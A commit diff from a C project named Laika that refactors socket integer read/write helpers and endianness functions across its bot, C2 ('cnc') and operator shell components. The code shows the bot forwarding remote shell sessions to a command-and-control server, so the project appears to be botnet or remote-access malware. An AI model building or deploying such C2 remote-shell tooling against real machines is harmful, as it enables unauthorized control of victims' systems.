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3 Commits
dc91a207b1 ... 490fcec4e7

Author SHA1 Message Date
CPunch
490fcec4e7 minor formatting changes 2022-09-07 18:42:04 -05:00
CPunch
674ea2b47b lmem.[ch]: removed inlined functions 
- fixes some builds
 2022-09-07 17:53:49 -05:00
CPunch
6ab280d010 lsocket.[ch]: refactored writeInt && readInt 
- switched to laikaS_readu* && laikaS_writeu*
- this gets rid of the ugly malloc() for platforms that don't support VLAs
 2022-09-07 17:53:49 -05:00
13 changed files with 132 additions and 137 deletions
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2
bot/lin/linshell.c
View File

@ -73,7 +73,7 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
if (rd > 0) {
/* we read some input! send to cnc */
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
laikaS_writeInt(sock, &shell->_shell.id, sizeof(uint32_t));
laikaS_writeu32(sock, shell->_shell.id);
laikaS_write(sock, readBuf, rd);
laikaS_endVarPacket(peer);
} else if (rd == -1) {

2
bot/src/bot.c
View File

@ -12,7 +12,7 @@ void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz,
uint8_t endianness = laikaS_readByte(&peer->sock);
laikaS_read(&peer->sock, saltBuf, LAIKA_HANDSHAKE_SALT_LEN);
peer->sock.flipEndian = endianness != laikaS_isBigEndian();
peer->sock.flipEndian = endianness != laikaM_isBigEndian();
/* set peer salt */
laikaS_setSalt(peer, saltBuf);

14
bot/src/shell.c
View File

@ -28,7 +28,7 @@ void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell)
/* tell cnc shell is closed */
laikaS_startOutPacket(bot->peer, LAIKAPKT_SHELL_CLOSE);
laikaS_writeInt(&bot->peer->sock, &id, sizeof(uint32_t));
laikaS_writeu32(&bot->peer->sock, id);
laikaS_endOutPacket(bot->peer);
laikaB_freeRAWShell(bot, shell);
@ -51,9 +51,9 @@ void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
uint32_t id;
uint16_t cols, rows;
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
laikaS_readInt(&peer->sock, &cols, sizeof(uint16_t));
laikaS_readInt(&peer->sock, &rows, sizeof(uint16_t));
id = laikaS_readu32(&peer->sock);
cols = laikaS_readu16(&peer->sock);
rows = laikaS_readu16(&peer->sock);
/* check if shell is already open */
if (id > LAIKA_MAX_SHELLS || (shell = bot->shells[id]))
@ -62,7 +62,7 @@ void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
/* open shell & if we failed, tell cnc */
if ((shell = laikaB_newShell(bot, cols, rows, id)) == NULL) {
laikaS_startOutPacket(bot->peer, LAIKAPKT_SHELL_CLOSE);
laikaS_writeInt(&bot->peer->sock, &id, sizeof(uint32_t));
laikaS_writeu32(&bot->peer->sock, id);
laikaS_endOutPacket(bot->peer);
}
}
@ -73,7 +73,7 @@ void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u
struct sLaika_shell *shell;
uint32_t id;
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
id = laikaS_readu32(&peer->sock);
/* check if shell is not running */
if (id > LAIKA_MAX_SHELLS || !(shell = bot->shells[id]))
@ -91,7 +91,7 @@ void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
uint32_t id;
/* read data buf */
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
id = laikaS_readu32(&peer->sock);
laikaS_read(&peer->sock, buf, sz - sizeof(uint32_t));
/* sanity check shell */

2
bot/win/winshell.c
View File

@ -184,7 +184,7 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
if (readSucc) {
/* we read some input! send to cnc */
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
laikaS_writeInt(sock, &shell->_shell.id, sizeof(uint32_t));
laikaS_writeu32(sock, shell->_shell.id);
laikaS_write(sock, readBuf, rd);
laikaS_endVarPacket(peer);
} else {

2
cnc/src/cnc.c
View File

@ -83,7 +83,7 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v
/* queue response */
laikaS_startOutPacket(peer, LAIKAPKT_HANDSHAKE_RES);
laikaS_writeByte(&peer->sock, laikaS_isBigEndian());
laikaS_writeByte(&peer->sock, laikaM_isBigEndian());
laikaS_write(&peer->sock, peer->salt, LAIKA_HANDSHAKE_SALT_LEN);
laikaS_endOutPacket(peer);

10
cnc/src/cpanel.c
View File

@ -65,8 +65,8 @@ void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_
LAIKA_ERROR("laikaC_handleAuthenticatedShellOpen: Requested peer isn't a bot!\n");
/* read term size */
laikaS_readInt(&authPeer->sock, &cols, sizeof(uint16_t));
laikaS_readInt(&authPeer->sock, &rows, sizeof(uint16_t));
cols = laikaS_readu16(&authPeer->sock);
rows = laikaS_readu16(&authPeer->sock);
/* open shell */
laikaC_openShell(peer, authPeer, cols, rows);
@ -80,7 +80,7 @@ void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT
struct sLaika_shellInfo *shell;
uint32_t id;
laikaS_readInt(&authPeer->sock, &id, sizeof(uint32_t));
id = laikaS_readu32(&authPeer->sock);
/* ignore malformed packet */
if (id >= LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
@ -102,7 +102,7 @@ void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_
if (sz - sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH)
LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Wrong data size!\n");
laikaS_readInt(&authPeer->sock, &id, sizeof(uint32_t));
id = laikaS_readu32(&authPeer->sock);
sz -= sizeof(uint32_t);
/* ignore malformed packet */
@ -116,7 +116,7 @@ void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_
/* forward to peer */
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
laikaS_writeInt(&peer->sock, &shell->botShellID, sizeof(uint32_t));
laikaS_writeu32(&peer->sock, shell->botShellID);
laikaS_write(&peer->sock, data, sz);
laikaS_endVarPacket(peer);
}

22
cnc/src/cpeer.c
View File

@ -88,15 +88,15 @@ struct sLaika_shellInfo *laikaC_openShell(struct sLaika_peer *bot, struct sLaika
/* send SHELL_OPEN packets */
laikaS_startOutPacket(bot, LAIKAPKT_SHELL_OPEN);
laikaS_writeInt(&bot->sock, &shell->botShellID, sizeof(uint32_t));
laikaS_writeInt(&bot->sock, &cols, sizeof(uint16_t));
laikaS_writeInt(&bot->sock, &rows, sizeof(uint16_t));
laikaS_writeu32(&bot->sock, shell->botShellID);
laikaS_writeu16(&bot->sock, cols);
laikaS_writeu16(&bot->sock, rows);
laikaS_endOutPacket(bot);
laikaS_startOutPacket(auth, LAIKAPKT_SHELL_OPEN);
laikaS_writeInt(&auth->sock, &shell->authShellID, sizeof(uint32_t));
laikaS_writeInt(&auth->sock, &cols, sizeof(uint16_t));
laikaS_writeInt(&auth->sock, &rows, sizeof(uint16_t));
laikaS_writeu32(&auth->sock, shell->authShellID);
laikaS_writeu16(&auth->sock, cols);
laikaS_writeu16(&auth->sock, rows);
laikaS_endOutPacket(auth);
return shell;
@ -106,11 +106,11 @@ void laikaC_closeShell(struct sLaika_shellInfo *shell)
{
/* send SHELL_CLOSE packets */
laikaS_startOutPacket(shell->bot, LAIKAPKT_SHELL_CLOSE);
laikaS_writeInt(&shell->bot->sock, &shell->botShellID, sizeof(uint32_t));
laikaS_writeu32(&shell->bot->sock, shell->botShellID);
laikaS_endOutPacket(shell->bot);
laikaS_startOutPacket(shell->auth, LAIKAPKT_SHELL_CLOSE);
laikaS_writeInt(&shell->auth->sock, &shell->authShellID, sizeof(uint32_t));
laikaS_writeu32(&shell->auth->sock, shell->authShellID);
laikaS_endOutPacket(shell->auth);
/* unlink */
@ -175,7 +175,7 @@ void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u
struct sLaika_shellInfo *shell;
uint32_t id;
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
id = laikaS_readu32(&peer->sock);
/* ignore packet if shell isn't open */
if (id >= LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
@ -196,7 +196,7 @@ void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
if (sz > LAIKA_SHELL_DATA_MAX_LENGTH + sizeof(uint32_t))
return;
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
id = laikaS_readu32(&peer->sock);
/* ignore packet if shell isn't open */
if (id >= LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
@ -206,7 +206,7 @@ void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
/* forward SHELL_DATA packet to auth */
laikaS_startVarPacket(shell->auth, LAIKAPKT_SHELL_DATA);
laikaS_writeInt(&shell->auth->sock, &shell->authShellID, sizeof(uint32_t));
laikaS_writeu32(&shell->auth->sock, shell->authShellID);
laikaS_write(&shell->auth->sock, buf, sz - sizeof(uint32_t));
laikaS_endVarPacket(shell->auth);
}

2
lib/include/core/lmem.h
View File

@ -57,5 +57,7 @@
} while (0);
void *laikaM_realloc(void *buf, size_t sz);
bool laikaM_isBigEndian(void);
void laikaM_reverse(uint8_t *buf, size_t sz);
#endif

12
lib/include/net/lsocket.h
View File

@ -88,8 +88,6 @@ struct sLaika_socket
#define laikaS_isAlive(arg) (arg->sock != INVALID_SOCKET)
bool laikaS_isBigEndian(void);
void laikaS_init(void);
void laikaS_cleanUp(void);
@ -114,12 +112,12 @@ void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uin
uint8_t *priv); /* decrypts & reads to buf using pub & priv key*/
void laikaS_writeByte(struct sLaika_socket *sock, uint8_t data);
uint8_t laikaS_readByte(struct sLaika_socket *sock);
void laikaS_readInt(struct sLaika_socket *sock, void *buf,
size_t sz); /* reads INT, respecting endianness */
void laikaS_writeInt(struct sLaika_socket *sock, void *buf,
size_t sz); /* writes INT, respecting endianness */
void laikaS_writeu16(struct sLaika_socket *sock, uint16_t i); /* writes UINT16, respecting endianness */
uint16_t laikaS_readu16(struct sLaika_socket *sock); /* reads UINT16, respecting endianness */
void laikaS_writeu32(struct sLaika_socket *sock, uint32_t i); /* writes UINT32, respecting endianness */
uint32_t laikaS_readu32(struct sLaika_socket *sock); /* reads UINT32, respecting endianness */
RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed);
RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed);
RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed);
#endif

23
lib/src/core/lmem.c
View File

@ -18,3 +18,26 @@ void *laikaM_realloc(void *buf, size_t sz)
return newBuf;
}
bool laikaM_isBigEndian(void)
{
union
{
uint32_t i;
uint8_t c[4];
} _indxint = {0xDEADB33F};
return _indxint.c[0] == 0xDE;
}
void laikaM_reverse(uint8_t *buf, size_t sz)
{
int k;
/* swap bytes, reversing the buffer */
for (k = 0; k < (sz / 2); k++) {
uint8_t tmp = buf[k];
buf[k] = buf[sz - k - 1];
buf[sz - k - 1] = tmp;
}
}

2
lib/src/net/lpeer.c
View File

@ -232,7 +232,7 @@ bool laikaS_handlePeerIn(struct sLaika_socket *sock)
LAIKA_ERROR("couldn't read whole LAIKAPKT_VARPKT\n");
/* read packet size */
laikaS_readInt(&peer->sock, (void *)&peer->pktSize, sizeof(LAIKAPKT_SIZE));
peer->pktSize = laikaS_readu16(&peer->sock);
if (peer->pktSize > LAIKA_MAX_PKTSIZE)
LAIKA_ERROR("variable packet too large!\n");

162
lib/src/net/lsocket.c
View File

@ -8,17 +8,6 @@
static int _LNSetup = 0;
bool laikaS_isBigEndian(void)
{
union
{
uint32_t i;
uint8_t c[4];
} _indxint = {0xDEADB33F};
return _indxint.c[0] == 0xDE;
}
void laikaS_init(void)
{
if (_LNSetup++ > 0)
@ -42,6 +31,8 @@ void laikaS_cleanUp(void)
#endif
}
/* ======================================[[ Socket API ]]======================================= */
void laikaS_initSocket(struct sLaika_socket *sock, pollEvent onPollIn, pollEvent onPollOut,
pollFailEvent onPollFail, void *uData)
{
@ -191,6 +182,8 @@ bool laikaS_setNonBlock(struct sLaika_socket *sock)
return true;
}
/* =====================================[[ Socket stream ]]===================================== */
void laikaS_consumeRead(struct sLaika_socket *sock, size_t sz)
{
laikaM_rmvVector(sock->inBuf, 0, sz);
@ -258,91 +251,50 @@ uint8_t laikaS_readByte(struct sLaika_socket *sock)
return tmp;
}
void laikaS_readInt(struct sLaika_socket *sock, void *buf, size_t sz)
void laikaS_writeu16(struct sLaika_socket *sock, uint16_t i)
{
if (sock->flipEndian) {
VLA(uint8_t, tmp, sz); /* allocate tmp buffer to hold data while we switch endianness */
int k;
uint16_t tmp = i; /* copy int to buffer (which we can reverse if need-be) */
laikaS_read(sock, (void *)tmp, sz);
if (sock->flipEndian)
laikaM_reverse((uint8_t *)&tmp, sizeof(tmp));
/* copy tmp buffer to user buffer, flipping endianness */
for (k = 0; k < sz; k++)
*((uint8_t *)buf + k) = tmp[sz - k - 1];
ENDVLA(tmp);
} else {
/* just a wrapper for laikaS_read */
laikaS_read(sock, buf, sz);
}
laikaS_write(sock, (void *)&tmp, sizeof(tmp));
}
void laikaS_writeInt(struct sLaika_socket *sock, void *buf, size_t sz)
uint16_t laikaS_readu16(struct sLaika_socket *sock)
{
if (sock->flipEndian) {
VLA(uint8_t, tmp, sz); /* allocate tmp buffer to hold data while we switch endianness */
int k;
uint16_t tmp;
laikaS_read(sock, (void *)&tmp, sizeof(tmp));
/* copy user buffer to tmp buffer, flipping endianness */
for (k = 0; k < sz; k++)
tmp[k] = *((uint8_t *)buf + (sz - k - 1));
if (sock->flipEndian)
laikaM_reverse((uint8_t *)&tmp, sizeof(tmp));
laikaS_write(sock, (void *)tmp, sz);
ENDVLA(tmp);
} else {
/* just a wrapper for laikaS_write */
laikaS_write(sock, buf, sz);
}
return tmp;
}
RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed)
void laikaS_writeu32(struct sLaika_socket *sock, uint32_t i)
{
RAWSOCKCODE errCode = RAWSOCK_OK;
int i, rcvd, start = laikaM_countVector(sock->inBuf);
uint32_t tmp = i; /* copy int to buffer (which we can reverse if need-be) */
/* sanity check */
if (sz == 0)
return RAWSOCK_OK;
if (sock->flipEndian)
laikaM_reverse((uint8_t *)&tmp, sizeof(tmp));
/* make sure we have enough space to recv */
laikaM_growVector(uint8_t, sock->inBuf, sz);
rcvd = recv(sock->sock, (buffer_t *)&sock->inBuf[laikaM_countVector(sock->inBuf)], sz,
LN_MSG_NOSIGNAL);
if (rcvd == 0) {
errCode = RAWSOCK_CLOSED;
} else if (SOCKETERROR(rcvd) &&
LN_ERRNO != LN_EWOULD
#ifndef _WIN32
/* if it's a posix system, also make sure its not a EAGAIN result (which is a
recoverable error, there's just nothing to read lol) */
&& LN_ERRNO != EAGAIN
#endif
) {
/* if the socket closed or an error occurred, return the error result */
errCode = RAWSOCK_ERROR;
} else if (rcvd > 0) {
#if 0
/* for debugging */
printf("---recv'd %d bytes---\n", rcvd);
for (i = 1; i <= rcvd; i++) {
printf("%.2x ", sock->inBuf[sock->inCount + (i-1)]);
if (i % 16 == 0) {
printf("\n");
} else if (i % 8 == 0) {
printf("\t");
}
}
printf("\n");
#endif
/* recv() worked, add rcvd to inCount */
laikaM_countVector(sock->inBuf) += rcvd;
}
*processed = rcvd;
return errCode;
laikaS_write(sock, (void *)&tmp, sizeof(tmp));
}
uint32_t laikaS_readu32(struct sLaika_socket *sock)
{
uint32_t tmp;
laikaS_read(sock, (void *)&tmp, sizeof(tmp));
if (sock->flipEndian)
laikaM_reverse((uint8_t *)&tmp, sizeof(tmp));
return tmp;
}
/* ===================================[[ Socket send/recv ]]==================================== */
RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed)
{
RAWSOCKCODE errCode = RAWSOCK_OK;
@ -379,23 +331,43 @@ RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed
} while ((sentBytes += sent) < sz);
_rawWriteExit:
#if 0
/* for debugging */
printf("---sent %d bytes---\n", sent);
for (i = 1; i <= sentBytes; i++) {
printf("%.2x ", sock->outBuf[i-1]);
if (i % 16 == 0) {
printf("\n");
} else if (i % 8 == 0) {
printf("\t");
}
}
printf("\n");
#endif
/* trim sent data from outBuf */
laikaM_rmvVector(sock->outBuf, 0, sentBytes);
*processed = sentBytes;
return errCode;
}
RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed)
{
RAWSOCKCODE errCode = RAWSOCK_OK;
int i, rcvd, start = laikaM_countVector(sock->inBuf);
/* sanity check */
if (sz == 0)
return RAWSOCK_OK;
/* make sure we have enough space to recv */
laikaM_growVector(uint8_t, sock->inBuf, sz);
rcvd = recv(sock->sock, (buffer_t *)&sock->inBuf[laikaM_countVector(sock->inBuf)], sz,
LN_MSG_NOSIGNAL);
if (rcvd == 0) {
errCode = RAWSOCK_CLOSED;
} else if (SOCKETERROR(rcvd) &&
LN_ERRNO != LN_EWOULD
#ifndef _WIN32
/* if it's a posix system, also make sure its not a EAGAIN result (which is a
recoverable error, there's just nothing to read lol) */
&& LN_ERRNO != EAGAIN
#endif
) {
/* if the socket closed or an error occurred, return the error result */
errCode = RAWSOCK_ERROR;
} else if (rcvd > 0) {
/* recv() worked, add rcvd to inCount */
laikaM_countVector(sock->inBuf) += rcvd;
}
*processed = rcvd;
return errCode;
}

14
shell/src/sclient.c
View File

@ -45,7 +45,7 @@ void shellC_handleHandshakeRes(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void
uint8_t endianness = laikaS_readByte(&peer->sock);
laikaS_read(&peer->sock, saltBuf, LAIKA_HANDSHAKE_SALT_LEN);
peer->sock.flipEndian = endianness != laikaS_isBigEndian();
peer->sock.flipEndian = endianness != laikaM_isBigEndian();
/* set peer salt */
laikaS_setSalt(peer, saltBuf);
@ -134,7 +134,7 @@ void shellC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
if (sz - sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH)
return;
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t)); /* this is ignored for now */
id = laikaS_readu32(&peer->sock); /* this is ignored for now */
sz -= sizeof(uint32_t);
/* sanity check */
@ -150,7 +150,7 @@ void shellC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u
tShell_client *client = (tShell_client *)uData;
uint32_t id;
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t)); /* this is ignored for now */
id = laikaS_readu32(&peer->sock); /* this is ignored for now */
/* sanity check */
if (!shellC_isShellOpen(client))
@ -396,8 +396,8 @@ void shellC_openShell(tShell_client *client, tShell_peer *peer, uint16_t col, ui
/* send SHELL_OPEN request */
laikaS_startOutPacket(client->peer, LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ);
laikaS_write(&client->peer->sock, peer->pub, sizeof(peer->pub));
laikaS_writeInt(&client->peer->sock, &col, sizeof(uint16_t));
laikaS_writeInt(&client->peer->sock, &row, sizeof(uint16_t));
laikaS_writeu16(&client->peer->sock, col);
laikaS_writeu16(&client->peer->sock, row);
laikaS_endOutPacket(client->peer);
client->openShell = peer;
}
@ -411,7 +411,7 @@ void shellC_closeShell(tShell_client *client)
/* send SHELL_CLOSE request */
laikaS_startOutPacket(client->peer, LAIKAPKT_SHELL_CLOSE);
laikaS_writeInt(&client->peer->sock, &id, sizeof(uint32_t));
laikaS_writeu32(&client->peer->sock, id);
laikaS_endOutPacket(client->peer);
client->openShell = NULL;
@ -426,7 +426,7 @@ void shellC_sendDataShell(tShell_client *client, uint8_t *data, size_t sz)
return;
laikaS_startVarPacket(client->peer, LAIKAPKT_SHELL_DATA);
laikaS_writeInt(sock, &id, sizeof(uint32_t));
laikaS_writeu32(sock, id);
switch (client->openShell->osType) {
case LAIKA_OSTYPE: /* if we're the same as the target OS, line endings don't need to be
converted! */